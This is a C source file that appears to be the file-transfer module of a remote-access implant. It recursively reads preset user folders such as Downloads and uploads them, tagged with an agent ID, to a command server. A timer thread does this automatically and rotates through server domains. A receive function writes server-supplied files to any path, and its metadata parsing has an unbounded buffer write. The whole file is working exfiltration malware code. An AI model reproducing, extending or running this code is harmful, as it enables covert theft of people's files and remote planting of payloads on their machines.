#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>

#include "config.h"

#define BUFFER_SIZE 4096

// Pre-defined list of files and folders to download
char* std_file_paths[] = {
    "C:\\Users\\John\\Downloads\\Test",
    "C:\\Users\\John\\Downloads\\Test2",
    "C:\\Users\\John\\Downloads\\Test3",
};
// Calculate amount of paths
size_t std_num_files = sizeof(std_file_paths) / sizeof(std_file_paths[0]);

void processFile(Transport* transport, char* file_path, char* buffer) {
    FILE* file = fopen(file_path, "rb");
    if (!file) {
        LOG_ERROR("Error opening file");
        return;
    }

    size_t bytes_read;
    while ((bytes_read = fread(buffer, 1, BUFFER_SIZE, file)) > 0) {
        if (transport->send(transport->handle, buffer, bytes_read) <= 0) {
            LOG_ERROR("Error sending file data\n");
            fclose(file);
            return;
        }
    }
    fclose(file);
    LOG("File transfer complete: %s\n", file_path);
}

void sendFilesHelper(Transport* transport, char** paths, size_t num_paths, char* buffer) {
    for (size_t i = 0; i < num_paths; ++i) {
        char* file_path = paths[i];
        struct stat file_stat;
        if (stat(file_path, &file_stat) != 0) {
            LOG("Path does not exist: %s\n", file_path);
            continue;
        }
        if (S_ISDIR(file_stat.st_mode)) {
            LOG("Processing directory: %s\n", file_path);
            DIR* dir = opendir(file_path);
            if (!dir) {
                LOG_ERROR("Error opening directory");
                continue;
            }
            struct dirent* entry;
            while ((entry = readdir(dir)) != NULL) {
                if (strcmp(entry->d_name, ".") == 0 || strcmp(entry->d_name, "..") == 0) {
                    continue;
                }
                char full_path[1024];
                snprintf(full_path, sizeof(full_path), "%s\\%s", file_path, entry->d_name);
                char* sub_paths[] = { full_path };
                sendFilesHelper(transport, sub_paths, 1, buffer);
            }
            closedir(dir);
        } 
        else {
            char response[32];
            int n = transport->recv(transport->handle, response, sizeof(response) - 1);
            if (n <= 0 || strncmp(response, "SEND_METADATA", n) != 0) {
                LOG_ERROR("Error: Expected SEND_METADATA, got: %.*s\n", n, response);
                return;
            }

            long file_size = file_stat.st_size;
            char metadata[1024];
            snprintf(metadata, sizeof(metadata), "%ld|%s", file_size, file_path);
            LOG("Sending metadata: %s\n", metadata);
            if (transport->send(transport->handle, metadata, strlen(metadata)) <= 0) {
                LOG_ERROR("Error sending metadata\n");
                continue;
            }

            n = transport->recv(transport->handle, response, sizeof(response) - 1);
            if (n <= 0 || strncmp(response, "SEND_DATA", n) != 0) {
                LOG_ERROR("Error: Expected SEND_DATA, got: %.*s\n", n, response);
                return;
            }

            processFile(transport, file_path, buffer);

            n = transport->recv(transport->handle, response, sizeof(response) - 1);
            if (n <= 0) {
                LOG_ERROR("Error receiving next instruction\n");
                return;
            }
            if (strncmp(response, "END", n) == 0) {
                LOG("Server requested end of transfer\n");
                return;
            } else if (strncmp(response, "NEXT", n) != 0) {
                LOG_ERROR("Error: Expected NEXT or END, got: %.*s\n", n, response);
                return;
            }
        }
    }
}

void SendFiles(Transport* transport, char* customfile_paths[], size_t customNumFiles) {
    char buffer[BUFFER_SIZE];
    char** paths = (customfile_paths != NULL) ? customfile_paths : std_file_paths;
    size_t count = (customNumFiles > 0) ? customNumFiles : std_num_files;

    char init_message[64];
    snprintf(init_message, sizeof(init_message), "%s~FILE", agent_id);
    if (transport->send(transport->handle, init_message, strlen(init_message)) <= 0) {
        LOG_ERROR("Error sending %s\n", init_message);
        return;
    }
    LOG("Sent initiation: %s\n", init_message);

    sendFilesHelper(transport, paths, count, buffer);

    if (transport->send(transport->handle, "ENDTRANSFER", strlen("ENDTRANSFER")) <= 0) {
        LOG_ERROR("Error sending end-of-transfer marker\n");
    }
    LOG("End-of-transfer marker sent\n");
}

void sendFileHTTP(Transport* transport, char* file_path) {
    struct stat file_stat;
    if (stat(file_path, &file_stat) != 0) {
        LOG("File does not exist: %s\n", file_path);
        return;
    }
    
    if (!S_ISREG(file_stat.st_mode)) {
        LOG("Path is not a regular file: %s\n", file_path);
        return;
    }
    
    // Create message with agent_id, FILE type, and full file path
    char message[1024];
    snprintf(message, sizeof(message), "%s~FILE~%s", agent_id, file_path);
    
    LOG("Sending message %s\n", message);
    LOG("Sending file: %s\n", file_path);
    
    // Use the transport's send_file function
    int result = transport->send_file(transport->handle, file_path, message);
    if (result > 0) {
        LOG("File sent successfully: %s (%d bytes)\n", file_path, result);
    } else {
        LOG_ERROR("Failed to send file: %s\n", file_path);
    }
}

void sendFilesHTTPHelper(Transport* transport, char** paths, size_t num_paths) {
    for (size_t i = 0; i < num_paths; ++i) {
        char* file_path = paths[i];
        struct stat file_stat;
        
        if (stat(file_path, &file_stat) != 0) {
            LOG("Path does not exist: %s\n", file_path);
            continue;
        }
        
        if (S_ISDIR(file_stat.st_mode)) {
            LOG("Processing directory: %s\n", file_path);
            DIR* dir = opendir(file_path);
            if (!dir) {
                LOG_ERROR("Error opening directory: %s\n", file_path);
                continue;
            }
            
            struct dirent* entry;
            while ((entry = readdir(dir)) != NULL) {
                // Skip current and parent directory entries
                if (strcmp(entry->d_name, ".") == 0 || strcmp(entry->d_name, "..") == 0) {
                    continue;
                }
                
                // Build full path
                char full_path[1024];
                snprintf(full_path, sizeof(full_path), "%s\\%s", file_path, entry->d_name);
                
                // Recursively process the entry (file or subdirectory)
                char* sub_paths[] = { full_path };
                sendFilesHTTPHelper(transport, sub_paths, 1);
            }
            closedir(dir);
        } 
        else if (S_ISREG(file_stat.st_mode)) {
            // It's a regular file, send it
            sendFileHTTP(transport, file_path);
        }
        else {
            LOG("Skipping non-regular file: %s\n", file_path);
        }
    }
}

void SendFilesHTTP(Transport* transport, char* customfile_paths[], size_t customNumFiles) {
    // Determine which paths to use
    char** paths = (customfile_paths != NULL) ? customfile_paths : std_file_paths;
    size_t count = (customNumFiles > 0) ? customNumFiles : std_num_files;
    
    LOG("Starting HTTP file transfer session with %zu paths\n", count);
    
    // Send all files/directories
    sendFilesHTTPHelper(transport, paths, count);
    
    LOG("HTTP file transfer session completed\n");
}



#if AUTO_FILES
    DWORD WINAPI FilesTimer(LPVOID lpParam) {
        LOG("File sender started\n");
        while (1) {
            Sleep(filesDelay);
            Transport* transport = InitTransport(GetNextDomain(), SERVER_PORT);
            if (!transport) {
                LOG("Failed to connect. Retrying...\n");
                Sleep(filesDelay);
                continue;
            }
            SendFiles(transport, NULL, 0);
            CleanupTransport(transport);
        }
        return 0;
    }

    void InitFileSender(void) {
        LOG("Starting files timer thread\n");
        hFilesTimerThread = CreateThread(NULL, 0, FilesTimer, NULL, 0, NULL);
        if (hFilesTimerThread == NULL) {
            LOG("Failed to create files timer thread.\n");
        }
    }
#endif

// Receive file from server
void ReceiveFile(char* result, Transport* transport, char* remote_path) {
    char buffer[BUFFER_SIZE];
    char response[32];

    // Send request for metadata
    if (transport->send(transport->handle, "SEND_METADATA", strlen("SEND_METADATA")) <= 0) {
        LOG_ERROR("Error sending SEND_METADATA\n");
        return;
    }

    // Receive metadata (format: "file_size|filename")
    char metadata[1024];
    int n = transport->recv(transport->handle, metadata, sizeof(metadata) - 1);
    if (n <= 0) {
        LOG_ERROR("Error receiving metadata\n");
        return;
    }
    metadata[n] = '\0';
    LOG("Received metadata: %s\n", metadata);

    // Parse metadata
    long file_size;
    char filename[512];
    if (sscanf(metadata, "%ld|%s", &file_size, filename) != 2) {
        LOG("Invalid metadata format\n");
        return;
    }

    // Open file for writing at remote_path
    FILE* file = fopen(remote_path, "wb");
    if (!file) {
        LOG_ERROR("Error opening file for writing");
        return;
    }

    // Send acknowledgment to start data transfer
    if (transport->send(transport->handle, "SEND_DATA", strlen("SEND_DATA")) <= 0) {
        LOG_ERROR("Error sending SEND_DATA\n");
        fclose(file);
        return;
    }

    // Receive and write file data
    long total_bytes_received = 0;
    size_t bytes_received;
    while (total_bytes_received < file_size && 
           (bytes_received = transport->recv(transport->handle, buffer, BUFFER_SIZE)) > 0) {
        if (fwrite(buffer, 1, bytes_received, file) != bytes_received) {
            LOG_ERROR("Error writing to file\n");
            fclose(file);
            return;
        }
        total_bytes_received += bytes_received;
    }
    fclose(file);
    LOG("File uploaded to: %s (%ld bytes)\n", remote_path, total_bytes_received);

    sprintf(result, "File uploaded to: %s (%ld bytes)\n", remote_path, total_bytes_received);

    // Send NEXT to indicate readiness for more or end
    if (transport->send(transport->handle, "NEXT", strlen("NEXT")) <= 0) {
        LOG_ERROR("Error sending NEXT\n");
        return;
    }

    // Check for end of transfer
    n = transport->recv(transport->handle, response, sizeof(response) - 1);
    if (n <= 0) {
        LOG_ERROR("Error receiving response\n");
        return;
    }
    response[n] = '\0';
    if (strcmp(response, "END") == 0) {
        LOG("Server ended transfer\n");
        if (transport->send(transport->handle, "ENDTRANSFER", strlen("ENDTRANSFER")) <= 0) {
            LOG_ERROR("Error sending ENDTRANSFER\n");
        }
        LOG("Sent ENDTRANSFER\n");
    } else {
        LOG("Expected END, got: %s\n", response);
    }

}